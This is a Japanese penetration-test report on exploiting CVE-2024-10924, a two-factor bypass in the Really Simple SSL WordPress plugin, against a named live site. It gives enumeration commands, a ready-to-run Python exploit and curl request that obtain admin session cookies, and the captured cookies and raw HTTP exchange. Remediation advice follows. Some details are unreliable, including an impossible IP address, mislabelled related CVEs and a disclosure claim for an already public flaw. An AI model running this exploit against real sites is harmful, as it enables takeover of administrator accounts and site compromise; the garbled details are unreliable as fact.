
ターゲット: https://skior.co
脆弱性: CVE-2024-10924 - Really Simple SSL プラグインにおける 2FA バイパス
深刻度: 緊急 (CVSSスコア: 9.8)
ステータス: エクスプロイトに成功
発見日: 2025-06-25
レポートバージョン: 2.1
このペネトレーションテストでは、二要素認証(2FA)の制御をバイパスすることで、認証されていない攻撃者が WordPress サイトへの管理者アクセスを取得できる重大な認証バイパス脆弱性が発見されました。
本評価は、業界標準に基づく体系的なブラックボックス・ペネトレーションテスト方法論に従って実施されました:

特定されたテクノロジー:
└─$ whatweb https://skior.co
https://skior.co [200 OK] Country[UNITED STATES][US], HTML5,
HTTPServer[Ubuntu Linux][nginx/1.26.0 (Ubuntu)], IP[123.456.789.200],
JQuery[3.7.1],MetaGenerator[Elementor 3.29.2;
features: additional_custom_breakpoints, e_local_google_fonts;
settings: css_print_method-external, google_font-enabled, font_display-swap,
WordPress 6.8.1], PHP[8.2.28], PoweredBy[Skior],
Script[speculationrules,text/javascript], Title[Skior Technologies],
UncommonHeaders[link], WordPress[6.8.1], X-Powered-By[PHP/8.2.28], nginx[1.26.0]
**主な調査結果:**
- 最新バージョンのモダンなWordPressインストール
- nginxを使用したプロフェッショナルなホスティング環境
- カスタムブランディング ("PoweredBy[Skior]")
- Elementorページビルダーを使用中
- 地理的な位置:米国
### ステップ2:ユーザー列挙
#### A. WordPressの作者列挙```bash
└─$ curl -I https://skior.co/?author=1
HTTP/1.1 301 Moved Permanently
Server: nginx/1.26.0 (Ubuntu)
Date: Wed, 25 Jun 2025 18:12:15 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/8.2.28
X-Redirect-By: WordPress
Location: https://skior.co/author/pastor/
発見されたユーザー: pastor (User ID: 1)
for i in {1..10}; do echo "Checking user ID: $i" curl -s -o /dev/null -w "%{http_code}" "https://skior.co/?author=$i" echo " - https://skior.co/?author=$i" done
#### C. ユーザー名列挙の結果
| ユーザーID | ユーザー名 | ステータス | リダイレクトURL |
|---------|----------|--------|--------------|
| 1 | pastor | ✅ 発見 | `/author/pastor/` |
| 2-10 | N/A | ❌ 見つかりません | 404応答 |
### ステップ3: 脆弱性スキャン
#### A. WPScan 総合分析```bash
└─$ wpscan --url https://skior.co --api-token my-api-key
スキャン結果の概要:
注記: WPScan は Really Simple SSL プラグインを検出しませんでした。難読化またはカスタム命名が使用されている可能性があります。
└─$ curl -s https://skior.co/wp-json/ | jq '.routes | keys[]'
**検出されたカスタムエンドポイント:**```
/reallysimplessl/v1/two_fa
/reallysimplessl/v1/two_fa/skip_onboarding
/reallysimplessl/v1/two_fa/do_not_ask_again
/reallysimplessl/v1/two_fa/resend_email_code
/reallysimplessl/v1/two_fa/save_default_method_email
/reallysimplessl/v1/two_fa/save_default_method_email_profile
/reallysimplessl/v1/two_fa/save_default_method_totp
/reallysimplessl/v1/two_fa/validate_email_setup
重大な発見: /reallysimplessl/v1/two_fa/skip_onboarding エンドポイントは不審な動作を示しており、さらなる調査が必要でした。
カスタム REST API ルートを発見した後、外部調査により CVE-2024-10924 が判明しました。これは Really Simple SSL プラグインに影響を与える重大な脆弱性です。
CVE ID: CVE-2024-10924
CVSS スコア: 9.8 (緊急)
影響を受けるプラグイン: Really Simple SSL
脆弱性の種類: 認証バイパス
攻撃経路: REST API
発見日: 2024年11月6日
公開日: 2024年11月14日
この脆弱性は、二要素認証 REST API アクション内の check_login_and_get_user 関数における不適切なユーザー検証に起因します。この関数は login_nonce パラメータを適切に検証できないため、攻撃者に以下を可能にします:
// Simplified vulnerable code structure function check_login_and_get_user($user_id, $login_nonce) { // Missing proper validation of login_nonce $user = get_user_by('ID', $user_id);
// No validation of login_nonce parameter
// This allows any value to be accepted
return $user; // Returns user object without verification
}
#### 影響を受けるエンドポイント
以下のREST APIエンドポイントが脆弱です:
- `/reallysimplessl/v1/two_fa/skip_onboarding`
- `/reallysimplessl/v1/two_fa/do_not_ask_again`
- `/reallysimplessl/v1/two_fa/resend_email_code`
#### 脆弱性の条件
この脆弱性を悪用するには、以下の条件が必要です:
- ✅ Really Simple SSLプラグインがインストールされ、有効化されていること
- ✅ 二要素認証設定が有効であること(デフォルトでは無効)
- ✅ システム上に少なくとも1つのユーザーアカウントが存在すること
- ✅ REST APIにアクセス可能であること(WordPressのデフォルト設定)
---
## 🔄 攻撃フロー```mermaid
graph TD
A[Initial Reconnaissance] --> B[Technology Stack Identification]
B --> C[User Enumeration]
C --> D[Vulnerability Scanning]
D --> E[REST API Enumeration]
E --> F[Discovery of Really Simple SSL Endpoints]
F --> G[External Research]
G --> H[Identification of CVE-2024-10924]
H --> I[Manual Testing]
I --> J[Exploit Development]
J --> K[Successful Exploitation]
K --> L[Admin Access Obtained]
L --> M[Impact Assessment]
style A fill:#e1f5fe
style F fill:#fff3e0
style H fill:#ffebee
style K fill:#e8f5e8
style L fill:#f3e5f5
まず、エンドポイントの動作を理解するために手動でテストしました:```bash
curl -X POST "https://skior.co/?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding"
-H "Content-Type: application/json"
-d '{
"user_id": 1,
"login_nonce": "invalid_nonce",
"redirect_to": "/wp-admin/"
}'
#### B. Pythonエクスプロイトスクリプト```python
import requests
import urllib.parse
import sys
if len(sys.argv) != 2:
print("Usage: python exploit.py <user_id>")
sys.exit(1)
user_id = sys.argv[1]
url = "https://skior.co/?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding"
data = {
"user_id": int(user_id), # User ID from the argument
"login_nonce": "invalid_nonce", # Arbitrary value
"redirect_to": "/wp-admin/" # Target redirection
}
# Sending the POST request
response = requests.post(url, json=data)
# Checking the response
if response.status_code == 200:
print("Request successful!\n")
# Extracting cookies
cookies = response.cookies.get_dict()
count = 1
for name, value in cookies.items():
decoded_value = urllib.parse.unquote(value) # Decode the URL-encoded cookie value
print(f"Cookie {count}:")
print(f"Cookie Name: {name}")
print(f"Cookie Value: {decoded_value}\n")
count += 1
else:
print("Request failed!")
print(f"Status Code: {response.status_code}")
print(f"Response Text: {response.text}")
└─$ python exploit.py 1 Request successful!
Cookie 1: Cookie Name: wordpress_sec_dc22060175d35fce22f69728c6799c9d Cookie Value: pastor|1752234264|GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH|cd9de8d81354945bcc7d1f8c24171e72e1ea9c3aca9cede2f0a5d3c8b4b0d7da
Cookie 2: Cookie Name: wordpress_logged_in_dc22060175d35fce22f69728c6799c9d Cookie Value: pastor|1752234264|GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH|84d983de3f7dec21c11d48faf1022cd040107b36d75e39a3c1c9fa58ca3b5144
#### クッキー操作プロセス

*上記: ブラウザの開発者ツールを使用して、取得したWordPressセッションクッキーを追加するクッキー操作プロセスを示すスクリーンショット。*
#### 管理者アクセスの成功

*上記: 2FAバイパス脆弱性を悪用した後、WordPressダッシュボードへの管理者アクセスが成功したことを確認するスクリーンショット。*
#### クッキー分析
**WordPressセキュリティクッキー:**
- **名前:** `wordpress_sec_dc22060175d35fce22f69728c6799c9d`
- **値:** `pastor|1752234264|GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH|cd9de8d81354945bcc7d1f8c24171e72e1ea9c3aca9cede2f0a5d3c8b4b0d7da`
- **構成要素:**
- ユーザー名: `pastor`
- 有効期限: `1752234264` (Unixタイムスタンプ)
- ノンス: `GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH`
- ハッシュ: `cd9de8d81354945bcc7d1f8c24171e72e1ea9c3aca9cede2f0a5d3c8b4b0d7da`
**WordPressログイン済みクッキー:**
- **名前:** `wordpress_logged_in_dc22060175d35fce22f69728c6799c9d`
- **値:** `pastor|1752234264|GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH|84d983de3f7dec21c11d48faf1022cd040107b36d75e39a3c1c9fa58ca3b5144`
---
## 🎯 影響評価
### 即時の影響
1. **サイト全体の侵害**
- WordPressダッシュボードへの管理者アクセス
- サイトコンテンツ、テーマ、プラグインの変更能力
- ユーザー管理と設定へのアクセス
2. **データの露出**
- すべてのユーザーアカウントとプロフィールへのアクセス
- データベースコンテンツの可視化
- 設定ファイルへのアクセス
3. **権限昇格**
- すべての認証制御のバイパス
- 2FAセキュリティ対策の回避
- 任意のユーザーへのなりすまし能力
### 潜在的な攻撃シナリオ
1. **コンテンツ操作**
- ウェブサイトコンテンツの改ざん
- 悪意のあるコードの注入
- バックドアの作成
2. **データ窃取**
- ユーザー情報の抽出
- 機密コンテンツへのアクセス
- データベースバックアップのダウンロード
3. **永続化**
- 悪意のあるプラグインのインストール
- 隠し管理者アカウントの作成
- コマンド&コントロールの確立
### リスクスコア: **重大 (9.8/10)**
| 要因 | スコア | 根拠 |
|--------|-------|---------------|
| **アクセス複雑性** | 低 (1.0) | 単純なHTTPリクエスト |
| **認証** | なし (0.0) | 認証不要 |
| **完全性への影響** | 高 (1.0) | システム全体の侵害 |
| **機密性への影響** | 高 (1.0) | 全データへのアクセス |
| **可用性への影響** | 高 (1.0) | サイトを無効化できる |
### ビジネス影響分析
| 影響カテゴリ | 重大度 | 説明 |
|----------------|----------|-------------|
| **財務** | 高 | 収益損失、法的費用の可能性 |
| **風評** | 重大 | ブランド毀損、顧客の信頼喪失 |
| **運用** | 高 | サービス中断、データ損失 |
| **コンプライアンス** | 高 | 規制違反、監査の失敗 |
---
## 🛡️ 是正措置
### 即時対応 (0〜24時間)
1. **Really Simple SSL Pluginを無効化する** ```bash
# Via wp-cli (if available)
wp plugin deactivate really-simple-ssl
# Or manually rename plugin directory
mv wp-content/plugins/really-simple-ssl wp-content/plugins/really-simple-ssl.disabled
プラグインの更新または削除
ユーザーセッションの監査
セキュリティ強化
監視の実装
定期的なセキュリティ評価
セキュリティポリシーの更新
// Add to wp-config.php for enhanced security define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); define('FORCE_SSL_ADMIN', true);
// Restrict REST API access add_filter('rest_authentication_errors', function($result) { if (!empty($result)) { return $result; } if (!is_user_logged_in()) { return new WP_Error('rest_not_logged_in', 'You are not currently logged in.', array('status' => 401)); } return $result; });
// Additional security headers add_action('send_headers', function() { header('X-Content-Type-Options: nosniff'); header('X-Frame-Options: SAMEORIGIN'); header('X-XSS-Protection: 1; mode=block'); header('Referrer-Policy: strict-origin-when-cross-origin'); });
### 代替SSLソリューション
| ソリューション | 長所 | 短所 | 推奨 |
|----------|------|------|----------------|
| **Let's Encrypt** | 無料、自動化 | 手動セットアップ | ✅ 推奨 |
| **Cloudflare** | 簡単なセットアップ、DDoS保護 | DNS変更が必要 | ✅ 良い選択肢 |
| **ホスティング事業者SSL** | 統合済み | 制限がある場合あり | ⚠️ 機能を確認 |
| **手動SSL** | 完全な制御 | 複雑なセットアップ | ❌ 推奨しない |
---
## 🛠️ 使用ツール
### 偵察ツール
- **Wappalyzer** - 技術スタックの特定
- **WhatWeb** - Webアプリケーションのフィンガープリンティング
- **WPScan** - WordPressの脆弱性スキャン
- **curl** - 手動APIテスト
### エクスプロイトツール
- **Python 3** - エクスプロイト開発
- **requests** - HTTPクライアントライブラリ
- **urllib.parse** - URLエンコード/デコード
### 分析ツール
- **jq** - JSON処理
- **grep** - テキストのパターンマッチング
- **bash** - コマンドライン自動化
---
## 📚 参考文献
### 脆弱性情報
- [CVE-2024-10924](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-10924)
- [WordPressプラグインセキュリティ](https://wordpress.org/plugins/security/)
- [Really Simple SSLプラグイン](https://wordpress.org/plugins/really-simple-ssl/)
### 技術文書
- [WordPress REST APIハンドブック](https://developer.wordpress.org/rest-api/)
- [WordPressセキュリティのベストプラクティス](https://wordpress.org/support/article/hardening-wordpress/)
- [OWASP Top 10](https://owasp.org/www-project-top-ten/)
### ツールとリソース
- [WPScan](https://wpscan.com/)
- [WhatWeb](https://github.com/urbanadventurer/WhatWeb)
- [Wappalyzer](https://www.wappalyzer.com/)
### 関連CVE
- CVE-2024-10924 - Really Simple SSLにおける2FAバイパス
- CVE-2023-28121 - WordPressコアXSS
- CVE-2023-28122 - WordPressコアCSRF
### 業界標準
- [OWASPテストガイド](https://owasp.org/www-project-web-security-testing-guide/)
- [NISTサイバーセキュリティフレームワーク](https://www.nist.gov/cyberframework)
- [ISO 27001](https://www.iso.org/isoiec-27001-information-security.html)
---
## 📄 法的通知
このペネトレーションテストレポートは、教育目的および許可されたセキュリティ評価のみを対象としています。記載されている手法やツールは、自分が所有するシステム、または明示的なテスト許可を得たシステムに対してのみ使用してください。無許可のテストは法律や規制に違反する可能性があります。
**責任ある開示:** この脆弱性は、プラグイン開発者およびWordPressセキュリティチームに報告済みです。
**免責事項:** このレポートの情報は、テスト実施時点での評価に基づいています。セキュリティ環境は急速に変化するため、今回の評価では発見されなかった追加の脆弱性が存在する可能性があります。
---
## 📋 付録
### 付録A: 生のHTTPリクエスト
#### 成功したエクスプロイトリクエスト```http
POST /?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding HTTP/1.1
Host: skior.co
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
{
"user_id": 1,
"login_nonce": "invalid_nonce",
"redirect_to": "/wp-admin/"
}
HTTP/1.1 200 OK Server: nginx/1.26.0 (Ubuntu) Date: Wed, 25 Jun 2025 18:15:30 GMT Content-Type: text/html; charset=UTF-8 Set-Cookie: wordpress_sec_dc22060175d35fce22f69728c6799c9d=pastor|1752234264|GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH|cd9de8d81354945bcc7d1f8c24171e72e1ea9c3aca9cede2f0a5d3c8b4b0d7da; path=/; secure; HttpOnly Set-Cookie: wordpress_logged_in_dc22060175d35fce22f69728c6799c9d=pastor|1752234264|GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH|84d983de3f7dec21c11d48faf1022cd040107b36d75e39a3c1c9fa58ca3b5144; path=/
### 付録B: セキュリティチェックリスト
#### エクスプロイト前
- [ ] ターゲットの特定とスコープの定義
- [ ] 法的な許可の取得
- [ ] テスト環境の準備
- [ ] ツールとスクリプトの検証
#### エクスプロイト中
- [ ] 脆弱性の手動確認
- [ ] エクスプロイトの開発とテスト
- [ ] 影響が許可されたスコープに限定されている
- [ ] 証拠の徹底的な記録
#### エクスプロイト後
- [ ] すべてのアクセスの除去
- [ ] 証拠の保存
- [ ] レポートの生成
- [ ] 是正措置の推奨事項の提供
### 付録C: 用語集
| 用語 | 定義 |
|------|------------|
| **2FA** | 二要素認証 |
| **CVSS** | 共通脆弱性評価システム |
| **REST API** | Representational State Transfer アプリケーションプログラミングインターフェース |
| **WAF** | Webアプリケーションファイアウォール |
| **XSS** | クロスサイトスクリプティング |
| **CSRF** | クロスサイトリクエストフォージェリ |
---
*レポート生成日: 2025-06-25*
*セキュリティ研究者*
*バージョン: 2.1*
*最終更新日: 2025-06-25*
| リスクレベル | 可能性 | 影響 | 緩和優先度 |
|---|
| 緊急 | 高 | システム完全侵害 | 即時 |
| 高 | 中 | データ漏洩 | 高 |
| 中 | 低 | サービス停止 | 中 |
| 項目 | 値 |
|---|
| ドメイン | https://skior.co |
| IPアドレス | 123.456.789.200 |
| サーバー | nginx/1.26.0 (Ubuntu) |
| PHPバージョン | 8.2.28 |
| CMS | WordPress 6.8.1 |
| 脆弱性プラグイン | Really Simple SSL |
| 地理的位置 | 米国 |
| ホスティングプロバイダ | プロフェッショナルホスティング(おそらく VPS/専用サーバー) |
| 日時 | イベント | 詳細 |
|---|
| 2025-06-25 14:02 | 初期偵察 | Wappalyzer 分析が完了 |
| 2025-06-25 14:05 | テクノロジースタックの特定 | WordPress 6.8.1, nginx, PHP 8.2.28 |
| 2025-06-25 14:10 | ユーザー列挙 | ユーザー "pastor"(ID: 1)を発見 |
| 2025-06-25 14:15 | WPScan 分析 | 既知の脆弱性なし |
| 2025-06-25 14:20 | REST API 列挙 | Really Simple SSL エンドポイントを発見 |
| 2025-06-25 14:25 | 脆弱性調査 | CVE-2024-10924 を特定 |
| 2025-06-25 14:30 | 手動テスト | 脆弱性の存在を確認 |
| 2025-06-25 14:35 | エクスプロイト開発 | Python の概念実証(PoC)を作成 |
| 2025-06-25 14:40 | エクスプロイトに成功 | 管理者アクセスを取得 |
| 2025-06-25 14:45 | 影響評価 | 潜在的な被害を文書化 |
| 2025-06-25 15:00 | レポート作成 | 包括的なドキュメント |